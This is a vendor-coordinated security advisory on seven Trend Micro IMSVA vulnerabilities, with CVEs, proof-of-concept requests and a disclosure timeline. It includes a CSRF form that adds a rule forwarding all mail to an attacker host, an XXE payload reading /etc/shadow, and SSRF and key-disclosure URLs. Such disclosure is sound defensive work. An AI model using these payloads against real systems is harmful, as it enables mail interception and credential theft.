Vulnerabilities In Trend Micro Interscan Messaging Security Virtual Appliance (IMSVA)


Multiple Vulnerabilities


Trend Micro InterScan Messaging Security Virtual Appliance (IMSVA)

Vulnerable Version

< 9.1.0 Critical Patch Build 2025

Fixed Version

9.1.0 Critical Patch - Build 2025

CVE Number

CVE-2020-27016, CVE-2020-27017, CVE-2020-27018, CVE-2020-27019, CVE-2020-27693, CVE-2020-27694






W. Ettlinger (Office Vienna), T. Serafin (Office Munich) | SEC Consult Vulnerability Lab

The Trend Micro InterScan Messaging Security Virtual Appliance (IMSVA) is affected by multiple security vulnerabilities, some of them with high risk, such as cross-site request forgery, SSRF/local file disclosure or XXE.

Vendor Description

“Trend Micro™ InterScan™ Messaging Security provides the most comprehensive protection against both traditional and targeted attacks. Using the correlated intelligence from Trend Micro™ Smart Protection Network™ and optional sandbox execution analysis, it blocks spam, phishing, and advanced persistent threats (APTs).”


Business Recommendation

The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of this and similar Trend Micro products conducted by security professionals to identify and resolve potential further security issues.

Vulnerability Overview/Description

1) Cross-Site Request Forgery (CSRF)

CVE-2020-27016 (7.5 CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)

A web service accessible to authenticated administrators allows modifying the appliance’s policy configuration. This web service can also be accessed by leveraging a CSRF scenario. An attacker could therefore modify policy rules (e.g. bypass malware checks or forward all mails to another host) by tricking an authenticated administrator into accessing an attacker-controlled web page.

2) XML External Entity Processing (XXE)

CVE-2020-27017 (7.6 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L)

The web service from vulnerability #1 accepts requests in the form of XML documents. The XML parser used is not configured correctly, thus allowing an authenticated administrator to read arbitrary local files through XXE.

Through an OOB XXE attack an attacker can exfiltrate local files through CSRF (see #1).

3) Over-privileged Users/Services

Sudo is configured to allow several system users access to the root account. An attacker gaining control over one of these accounts can access the system as root. Moreover, several services are executed with the privileges of the user root. Therefore, finding #2 allows an attacker to read files only accessible to root (e.g. /etc/shadow).

4) Server Side Request Forgery (SSRF) & Local File Disclosure

CVE-2020-27018 (2.8 CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N/E:U/RL:X/RC:X)

A script accessible through the appliance’s web server can be abused to request any URL (e.g. http(s), file). An authenticated attacker can e.g. access any http(s) resources or parts of some local files.

5) Information Disclosure

CVE-2020-27019 (4.8 CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L/E:U/RL:X/RC:X)

An SQLite database as well as a cryptographic key located in the webroot can be accessed without authentication.

Note: It is unclear what the key is used for and whether the SQLite database could contain sensitive information in specific configurations.

6) Insufficient Password Storage

CVE-2020-27693 (3.1 CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:L/E:U/RL:X/RC:X)

The appliance stores passwords of administrative users as unsalted MD5 hashes which can be cracked easily.

7) Outdated Software

CVE-2020-27694 (4.6 CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L/E:U/RL:X/RC:X)

Several software components installed on the appliance are outdated. Moreover, the software updates provided by Trend Micro do not update the packages of the CentOS base system.

SEC Consult did not verify whether the vulnerabilities identified through the version information are present or whether the vulnerabilities have an impact on the security of the system.

Proof Of Concept

1) Cross-Site Request Forgery (CSRF) (CVE-2020-27016)

The following request will create a rule that forwards all mails to an attacker:

POST /ws_policies.imss HTTP/1.1 Host: [...] Cookie: JSESSIONID=[...]; Content-Length: 374 <policies> <policy name="forward all traffic to attacker" note="forward all traffic to attacker" enable="yes" version="1" order="1" type="other"> <route direction="incoming"> <from anyone="yes"></from> <to anyone="yes"></to> </route> <actions> <hand_off>attacker:25</hand_off> </actions> </policy> </policies>

The following HTML fragment shows how this request can be sent in a CSRF scenario:

<form action="https://[...]:8445/ws_policies.imss" method="POST" enctype="text/plain"> <input type="hidden" name='<policies><policy name' value='"forward all traffic to attacker" note="forward all traffic to attacker" enable="yes" version="1" order="1" type="other"> <route direction="incoming"><from anyone="yes"></from> <to anyone="yes"></to></route> <actions><hand_off>attacker:25</hand_off></actions> </policy></policies>' /> <input type="submit" value="Submit request" /> </form>


2) XML External Entity Processing (XXE) (CVE-2020-27017)

The following request demonstrates the retrieval of /etc/shadow:

POST /ws_policies.imss HTTP/1.1 Host: [...]:8445 Cookie: JSESSIONID=[...]; Content-Length: 290 <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/shadow" >]> <policies> <policy name="test" note="test" enable="yes" version="1" order="2" type="virus"> <route direction="incoming"> <from anyone="no"> <group>&xxe;</group> </from> </route> </policy> </policies>

3) Over-privileged Users/Services

The local users “admin”, “enable” and all users in the group “cliusers” can execute commands as root (no password entry required). Note that at least for the users “admin” and “enable” a restricted shell is configured, thus shell access is not easily possible.

Several network services (e.g. Tomcat, OpenLDAP, imssmgr) are executed as root.

Trend Micro supplied the following additional information:

  • (a) If an IMSVA user created clish users, they can only run limited commands (IMSVA pre-defined commands) and all of these are one time commands (not a running service in the backend)
  • (b) Most of these clish commands only read logs, and does not accept any arguments, so it cannot terminate or inject commands.
  • (c) Few commands (such as ping) only accept few arguments (such as IP), but these are well-checked. Users cannot input any arguments with other meaning, so it cannot terminate or inject commands.

Trend Micro decided not to include vulnerability #3 in the hardening/patch of the product as admin and enabled accounts are as important as root and changing the architecture would cause some functions not to work as expected.

4) Server Side Request Forgery (SSRF) & Local File Disclosure (CVE-2020-27018)

The URL demonstrates the retrieval of an HTTP URL through the appliance: https://<host>:8445/widget/proxy_controller.php?module=modSimple&userGenerated=1&serverid=1&url=http://test

When accessing file:// URLs, the application sends only the content that follows a sequence \r\n\r\n. Therefore only parts of certain files can be retrieved.

5) Information Disclosure (CVE-2020-27019)

The following URL demonstrates the unauthenticated retrieval of a cryptographic key:https://<host>:8445/widget/repository/inc/class/common/crypt/crypt.key

Moreover, an SQLite database can be retrieved. https://<host>:8445/widget/repository/db/sqlite/tmwf.db

The contents of these files have not been further investigated.

6) Insufficient Password Storage (CVE-2020-27693)

The passwords for local administrators are stored in a Postgres database (table tb_administrator, column md5_digest). The hashes are stored as unsalted MD5 digests which can be cracked easily.

7) Outdated Software (CVE-2020-27694)

The following software versions are present in an appliance with patch level 1993:

The appliance is built on top of a CentOS base system. The CentOS packages appear not to be updated with appliance updates. In a test system, the command “yum check-update” yielded 203 updates to installed packages.

Vulnerable / Tested Versions

Version Critical Patch 1993 has been tested and was found to be vulnerable. Previous versions are affected as well.

Vendor Contact Timeline

2020-04-28 Contacting vendor through
  Submitting advisory information encrypted (PGP).
2020-04-28 Vendor reply, they will take a look at the issue
2020-05-06 Vendor states that vulnerability resolution is in progress;
  Vendor has questions regarding two vulnerabilities
2020-05-07 Clarifying vulnerabilities
2020-05-25 Asking for status update
2020-05-25 Vendor: Vulnerability resolution is still in progress, details follow
2020-05-27 Vendor: A fix for 4 vulnerabilities is expected for the end of June
2020-06-29 Asking for status update
2020-07-01 Vendor provides prerelease update that addresses #1, #2, #4, #5, #6
2020-07-07 Sending results of short recheck
  #1 CSRF – fixed
  #2 XXE – fixed
  #4 SSRF/LFD – fixed
  #5 InfoDisc – fixed
  #6 Password Storage – not properly fixed yet
2020-07-08 Vendor confirms receipt; has question regarding #3
2020-07-10 Clarifying questions
2020-08-04 Asking for status update
2020-08-04 Vendor: Issue #3 is under investigation, issue #7 in progress.
2020-08-22 Vendor provides information that all issues have been fixed except issue #3 as hardening it further would potentially break some features.
2020-08-24 Further advisory release coordination (date, CVE numbers, patch version)
2020-09-18 Asking for a status update; Answer: “The hotfix is ready, however, the official critical patch to be used for public disclosure is still being finalized”; disclosure date will be communicated later
2020-10-23 Patch is already public since 2020-10-09, but no security bulletin yet which will be coordinated
2020-11-04 Coordinated release of security advisory


The vendor provides a patch (9.1 Patch 3 – Critical Patch – Build 2025) which should be installed immediately. The release notes can be found here:

Patch download:

Trend Micro Security Bulletin:


No workaround available.

Advisory URL

EOF Wolfgang Ettlinger / @2020


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